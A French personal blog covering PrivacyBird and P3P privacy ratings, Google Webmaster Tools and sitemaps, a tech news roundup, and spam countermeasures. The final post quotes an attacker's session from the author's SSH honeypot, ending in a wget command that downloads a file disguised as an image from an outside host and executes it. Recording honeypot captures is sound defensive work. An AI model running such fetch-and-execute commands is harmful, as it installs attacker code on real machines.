Techniquement, quand vous visitez un site, PrivacyBird va tester la présence du fichier /w3c/p3p.xml sur la racine du site qui rassemble des informations sur le traitement des données personnelles par le site, et formé de façon à être facilement manipulable par un logiciel.

PrivacyBird vous permet de spécifier vos besoins en terme de vie privée par le biais de son panneau de configuration. Trois niveaux préconfigurés sont disponibles mais vous pouvez très bien personnaliser vos préférences :

En fonction du site sur lequel vous vous trouvez, le petit oiseau affiché par le plugin prendra différentes couleurs :
  • Vert : le site est conforme à vos besoins
  • Rouge : le site ne correspond pas à vos besoins
  • Jaune : le site n'a pas de politique de vie privée établie ou elles ne sont pas standardisées ou encore le fichier P3P est malformé

Par exemple avec les sites développés par Yahoo! (dont del.icio.us) vous verrez probablement un oiseau rouge :

(note: j'ai fait mes tests avec un IE7, l'intégration n'est pas super comme cette version d'IE n'est pas sensée être gérée)

Quand l'oiseau est rouge ou vert, un menu vous permet d'un savoir plus sur la politique de vie privée du site, soit en affichant ses règles dans une nouvelle fenêtre (ActiveX c'est pas beau :frown: ), soit par le biais d'un lien vous amenant sur la page du site définissant les règles en question.

L'autre projet développé par la même équipe est PrivacyFinder. Il s'agit d'un wrapper pour les moteurs de recherche Google et Yahoo!, tout comme Scroogle et Black Box Search.

La différence avec les autres wrappers pour moteur de recherche, c'est que PrivacyFinder va rajouter des informations en rapport avec la vie privée pour les urls qu'il retourne.
Par exemple si on effectue une recherche sur le mot music en passant par Yahoo! ont voit que certains résultats ont une notation à gauche (des explications s'affichent si on la survole) ainsi qu'un lien "Privacy Policy" pointant vers une url du site.

Reste à savoir si les administrateurs des sites sont honnêtes lors de la création de leur fichier p3p... Tous les sites Yahoo semblent obtenir les plus mauvaises notes alors que Microsoft (Live Search, MSN, MS Update etc) ont des notes passables.

Quand un site a un fichier P3P invalide (malformé), PrivacyFinder affiche un oiseau jaune à gauche du résultat :

:D

PrivacyFinder peut sembler assez lent à afficher les résultats, c'est parce qu'il fait une visite rapide sur les urls qu'il retourne. Cette opération n'est fait que s'il ne connaissait pas déjà le site.
Le passage de PrivacyFinder vu par les stats BBClone :



C'est très bien d'avoir un "nouveau" moteur de recherche qui respecte la vie privée, seul regret, il n'est pas possible de spécifier la langue de la recherche.

Google Webmaster Tools

, , , ...

Google a créé tout un tas de merveilles bien connues qui rendent plus agréable et plus efficace la recherche sur Internet, qui permettent de s'instruire ou de rester informé sur tel ou tel sujet ou qui font simplement passer le temps.
Mais je ne connaissais pas le Centre Google pour les Webmasters et principalement les outils pour webmaster proposés par le géant de la recherche sur Internet.

Pour pouvoir utiliser ces outils il faut, vous vous en doutez, possèder un compte Google/Gmail. Ensuite il vous faut déclarer auprès de Google les sites Internet que vous administrez et dont vous voulez connaître les statistiques (d'après l'oeil de Google).

L'étape de la validation est simple. Pour qu'il n'y ait pas d'abus, Google génére un identifiant unique sous la forme d'une balise HTML méta à ajouter à l'entête de votre site Internet. Une fois rajoutée on demande à Google de vérifier la présence de la balise est hop ! L'url du site se trouve ajouté à notre panneau d'administration.

Pour ma part j'ai mis deux entrées : http://devloop.lyua.org et http://devloop.lyua.org/blog/ afin d'avoir des statistiques séparées pour le blog. Côté vie privée cet outil permet à Google de faire le lien entre un site Internet et une adresse email... pas de regrets pour mes deux sites étant donné que mon adresse email est trouvable sur le site, mais globalement ça rajoute une corde à l'arc de notre big brother bien aimé nervous

Ces outils ne nous servent évidemment pas à contrôler les robots de Google mais plutôt à travailler en harmonie avec eux. Cela permet aux webmasters de savoir sur quelles pages peuvent buter les robots et d'apporter les corrections pour résoudre les problèmes.

Par exemple quand je me suis inscrit sur ce service j'ai constaté que 9 pages n'avaient pas pû être accédées (erreur 500) car les robots étaient passés à un moment où un changement de configuration a eu lieu. Et je sais qu'à l'heure actuel le robot est repassé et que toutes mes pages peuvent être accessibles par les robots.
Toutefois les erreurs 404 (pages introuvables) listées par Google manquent cruellement de détails : on se sait pas d'où viennent ces liens et par conséquent on ne sait pas si l'on est en mesure de les corriger (liens externes ? internes ?)

Parmi les options proposées par les Google Webmaster Tools, il y a la possibilité d'activer la recherche avancée d'images. C'est à dire que les images des sites que vous avez soumis seront utilisées pour le Google Image Labeler (encore un truc où le temps passe très vite :jester: )

Ca c'était pour la partie "diagnostic" du service (le système est divisé en trois parties : Diagnostic, Statistiques et Plans Sitemap).

La partie statistiques donne des informations plus détaillées sur ce que Google sait de nos sites. Par exemple il est possible d'avoir un classement des recherches ayant amené les internautes sur le site.

Google nous donne les informations suivantes quant à ces statistiques :
  • Les requêtes les plus fréquentes correspondent aux requêtes sur les propriétés de recherche sélectionnées ayant le plus souvent renvoyé des pages de votre site.
  • Les requêtes les plus fréquentes associées à des clics correspondent aux requêtes ayant généré le plus de trafic vers votre site (ce classement est déterminé en fonction du nombre de clics effectués sur des liens menant aux pages de votre site).
  • Meilleure position (moyenne) représente la position moyenne la plus élevée atteinte par une page de votre site et correspondant à cette requête. Notre index étant dynamique, cette position peut toutefois être différente de la position actuellement occupée par votre site pour la même requête.
  • La moyenne de toutes les données est calculée sur les 7 derniers jours.

Toutes ces données sont disponibles quelque soit le placement du site par rapport à la racine web du serveur.
Des informations supplémentaires sont disponibles pour le site racine. Dans la partie diagnostic on a par exemple des graphes représentant l'activité des robots.
Il est aussi possible de régler la fréquence d'exploration des bots sur le site. Bien entendu on peut surtout réduire la fréquence mais il semble que pour des cas particuliers il soit possible de l'augmenter. Chez moi le bouton radio "Plus rapide" est grisé.

Différents graphes sont visibles concernant le pagerank, l'encodage utilisé sur le site etc.

J'ai encore quelques cases vides dans mes stats et j'espère les avoir bientôt. Par exemple la page ayant le pagerank le plus fort... bien qu'il s'agisse sans doute de l'index du blog... dans l'ensemble on espère avoir toujours plus de stats :wink:

La dernière partie (plan sitemap) permet d'informer Google des mises à jour des cartes de ses sites. Un plan sitemap est un fichier xml compréssé par gzip que l'on place à la racine de chaque site que l'on a signalé à Google.
Ces plans sont totalement facultatifs et Googlebot continuera d'explorer votre site si vous n'en créez pas. Toutefois ce plan permet aux robots de savoir très facilement quelles sont les pages existantes sur votre site.
J'ai quelques pages du blog qui ne sont malheureusement pas référencées par Google alors que je pense qu'elles sont susceptibles d'intéresser quelques personnes, le plan sitemap est sans doute une bonne façon de signaler ces pages à Google.

En plus les balises disponibles pour ce plan au format XML permettent de spécifier une fréquence de vérification ainsi qu'une priorité pour une page donnée (voir cette documentation pour en savoir plus).
Il est aussi possible de mettre une date de dernière modification de la page... évidemment générer un tel plan n'est pas chose simple (et le mettre à jour à chaque modification pas forcément agréable) :frown:

Google a mis sur Sourceforge un script qui va générer ce plan, seulement il ne fonctionne qu'en local (lançé depuis le serveur) et convient mieux à des pages statiques.

Mais on peut quand même générer un fichier sitemap si on possède un fichier texte avec toutes les urls à référencer en utiliser l'option --testing du script. Par contre ce fichier par défaut n'a pas les blocks changefreq ni priority...

Il est facile d'obtenir une liste des urls en se servant de lswww (testé et approuvé :wink: )
python lswww.py http://serveur.com/ -v 0 > pages.txt
Ensuite il faut prendre son courage a deux mains si on veut améliorer le plan (pour moi c'est fait). J'attends encore de voir les résultats, certaines pages n'ayant toujours pas été trouvées, mais effectivement la manière qu'a Google de visiter mon site me semble plus rationnelle ce qui laisse supposer qu'il a suit mes indications pour la relecture des pages... ou alors c'est juste le fait de se retrouver de l'autre côté du miroir qui donne cette impression (une autre vision de la puissance de Google)

A suivre :wink:

C'est drôle

, , , ...

quoique tout est relatif :smile:

FnacMusic met en vente deux morceaux sans DRM
Les DRM énervent tellement les consommateurs que l'absence de DRM devient un argument de vente.
Fnac musique sans DRM pub

Google plie et collabore avec les éditeurs belges
Cette nouvelle fait suite à une précédente affaire.

En outre, Copiepresse demande à Google de référencer de nouveau les journaux belges francophones tels que Le Soir, L'Echo ou La Libre Belgique sur son moteur de recherche. Mais le californien n'a pas encore répondu à ce jour.


Les principaux éditeurs d'antivirus dénoncent l'attitude de Microsoft
En effet Microsoft fait tout pour ne pas dévoiler le fonctionnement interne de son futur système d'exploitation, ce qui est nécessaire aux firmes d'antivirus pour développer des logiciels compatibles Vista...
On pourrait penser que Microsoft a honte du code de Vista, surtout qu'on en a entendu beaucoup de mal. La vérité serait que Vista intègre tout un tas de protections qui pourraient être jugées comme anti-concurentielles (à l'ouest rien de nouveau)

Windows XP SP3 désormais attendu pour 2008
Ou comment Microsoft incite ses consommateurs à passer à Vista au lieu d'attendre le prochain service pack XP :whistle:

La citation du mois :

IE7 est la 'victime' de cette faille mais pas la cause


-+- Bernard Ourghanlian, Chief Technology & Security Officer de Microsoft France à propos d'une faille touchant IE7 -+-
(un vrai guide de la mauvaise foi)

Faut avouer que je me marre rarement autant en lisant les news :D

SPAM, SPAM, SPAM, SPAM, sausage, eggs and SPAM

, , , ...

I don't want SPAM !!

C'est d'ailleurs pour cela que le blog est équipé en captcha, gri-gri et autres amulettes anti-spammeurs :wizard:
Et ça marche (surtout le captcha) mais ça ne stoppe malheureusement les tentatives infructueuses (il va falloir que je change de sorcier).

En attendant les techniques évolues, ainsi ils utilisent un référant bidon correspondant à une recherche google fictive.
Mais c'est facilement détectable puisque :
  • Par exemple je n'ai jamais publié une "image de chanbord" (avec la faute)
  • Le spammeur utilise un proxy transparent (Dotclear mémorise sa véritable IP)
  • Il utilise toujours le même proxy (donc blocable par htaccess ou autre)


Et puis je serais surpris qu'il existe des webapps laissant passer aveuglément tout visiteur venant soit disant d'un moteur de recherche... mais qui sait (c'est comme les chauves-souries enragées). Puis il y a de l'idée.

Sur mon honeypot ssh aussi ils semblent s'améliorer :
passwd
uname -a
ls
cd /tmp
ls
cd /var/tmp
ls
cd var
ls
id
is
su ftp
ftp
su
su root
bash -a
sh
wget
wget http://alam-batu.de/sig.bmp;chmod +x sig.bmp;./sig.bmp
cd /tmp

Celui-là semble avoir choisit l'exploit en fonction de la version du kernel (il y a de l'espoir, surtout pour un pirate roumain - priv8 j0k3) p: mais il n'est pas resté longtemps (trop limité Kojoney) :/